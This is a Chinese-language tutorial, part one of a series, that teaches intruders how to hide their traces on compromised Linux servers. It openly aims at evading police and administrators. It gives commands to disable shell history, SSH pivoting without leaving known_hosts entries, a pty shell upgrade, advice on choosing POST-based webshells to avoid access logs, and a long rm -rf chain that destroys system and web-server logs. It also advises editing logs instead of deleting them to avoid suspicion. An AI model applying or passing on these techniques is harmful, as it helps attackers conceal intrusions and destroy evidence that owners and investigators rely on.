歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux教程 >> Linux入侵蹤跡隱藏攻略(一)

Linux入侵蹤跡隱藏攻略(一)

日期:2017/2/25 10:38:29   编辑:Linux教程

  0.前言:

  被警察叔叔請去喝茶時間很痛苦的事情,各位道長如果功力不夠又喜歡出風頭的想必都有過這樣的“待遇”。如何使自己在系統中隱藏的更深,是我們必須掌握的基本功。當然,如果管理員真的想搞你而他的功力又足夠足的話,相信沒什麼人能夠真正的“踏雪無痕”。Forensic與Anti- Forensic,說到底只是你和管理員之間的技術間較量而已。貌似很少有專門說這個的文章,大部分就是下載個日志擦除的軟件,然後運行下就可以了,對小站可以,但對方如果是經驗豐富的管理員呢?我們該如何應對?我在這裡只介紹unix-like system下的,至於windows或者其他什麼系統下的,歡迎各位道友補充。

  1.

  最小化你的日志

  P.S 訪問目標前用跳板我就不廢話了,你是VPN也好3389也罷,ssh中轉,代理都行。總之記住一點—直接連接攻擊目標是愚蠢的

  1.1 shell使用問題

  目前linux下大多數的shell都是采用bash或者其他的什麼shell 通過輸入輸出重定向來實現與服務器的交互的,當我們使用ssh 或者telnet之類的登錄的時候,我們的命令都會被記錄在shell 的history文件下面。舉例來說bash會在當前目錄下面.bash_history文件裡記錄下你此次登陸操作的命令,如果你拿這台機器當跳板的話,或者掃描其他機器,你的命令都會被記錄下來哦。呵呵,所以我們登錄的第一件事就是執行如下命令:

  unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;

  export HISTSIZE=0; export HISTFILESIZE=0

  當然不同的shell寫法可能不同,像有的set設置環境變量什麼的。大家根據自己的shell自行修改。記住:從 webshell彈回的shell也會記錄你的操作,值得慶幸的是現在很多彈shell的腳本都預先unset 環境變量。

  我們還需要記住的是在登錄的時候出現在登錄窗口的一些信息,比如該用戶在什麼時候從哪個IP登錄進來的等等,這在我們後面的用於日志清除與修改的時候要用到。

  如圖:

  作為跳板的時候,我們有可能需要用本機的ssh去訪問別的機器,但是別的機器的公鑰呢?總不能放在當前用戶的目錄下吧?當然你可以事後刪除,但多一事不如少一事,你說對麼?

  ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

  就可以了,但在這樣運行某些命令的時候可能會有提示,說你的stdin不是個terminal,這裡可以這樣解決:

  python -c 'import pty; pty.spawn("/bin/sh")' 或者自己再建立個ttyshell。

  1.2 webshell的選擇問題

  可能各位道友的日常生活中最主要目標瞄向了webserver 。現在的web也是大多數入侵的一個突破口。Linux下用的最多的就是apache服務器了,當我們發覺一個服務器的漏洞時候很可能要上傳一個webshell來進行對服務器文件進一步的操作和信息的搜集,部分webshell也提供了反彈 shell的功能。如何能夠在apache服務器的日志文件中留下最小的記錄也是需要深究的。這種情況通常發生在沒能夠獲得足夠的權限來清除apache日志。如果能夠 root了,則可以將重點放在第二節日志清除上。通常,日志只記錄GET的信息,比如你的注入,你采用了那種方式提交數據等等。如果我們的 webshell采用的多是GET方式交互的話,就很容易在httpd的access_log中留下很多日志。這些以後都會被作為證據所采納的。 Phpspy是個很好的選擇,作者也注意掉了這點,取消了GET方式的交互,再給webshell起一個比較迷惑的名字,這樣我們與webshell的交流就更加隱秘。

  2.日志的清除與改寫

  日志清除與改寫,俗稱擦PP,這是個很重要的過程,日志記錄了你對目標機器的操作記錄,大部分的入侵者查找都是通過日志來確定的,因此,我們需要對日志文件進行操作。對日志操作有這麼個說法,能修改的就不清除,這樣才能最小的減少管理員的懷疑。Linux下的大多數文件是以文本方式,或者以簡單的結構體方式存入文件的,這就為我們修改某個日志記錄裡的具體內容提供了前提條件。

  需要注意的一點是,我們需要先看看日志的存放位置,有的管理員會修改日志保存的位置,一般來說,我們可以查看/etc/syslog.conf 來獲得log文件存放的位置。但要注意的是,有的管理員(及其負責)會重新編譯syslogd文件來重新指定log存放的位置,怎麼辦?在這種情況下可以用strings來看下/sbin/syslogd這個文件,這種管理員我只在書裡看到過,至少我沒遇到過: P。這個配置文件裡面記錄了系統存放某些log的目錄,如secure文件等。下面我們就會根據這個文件來清理和修改日志。

  現在可以在網上公開獲得的日志清除程序代碼很粗糙,我曾經看到過最誇張的清日志的代碼像這樣:

  rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ;

  rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf

  /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm

  -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ;

  rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf

  /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ;

  rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf

  /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf

  /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf

  /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf

  /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ;

  rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch

  /root/.bash_history ; history –r

  整個一rm集合,要是服務器跑了很長時間,積累了很多日志。你這樣一刪除,的,你幫他省事了,他也省事,一眼就看出有人進來了。

Copyright © Linux教程網 All Rights Reserved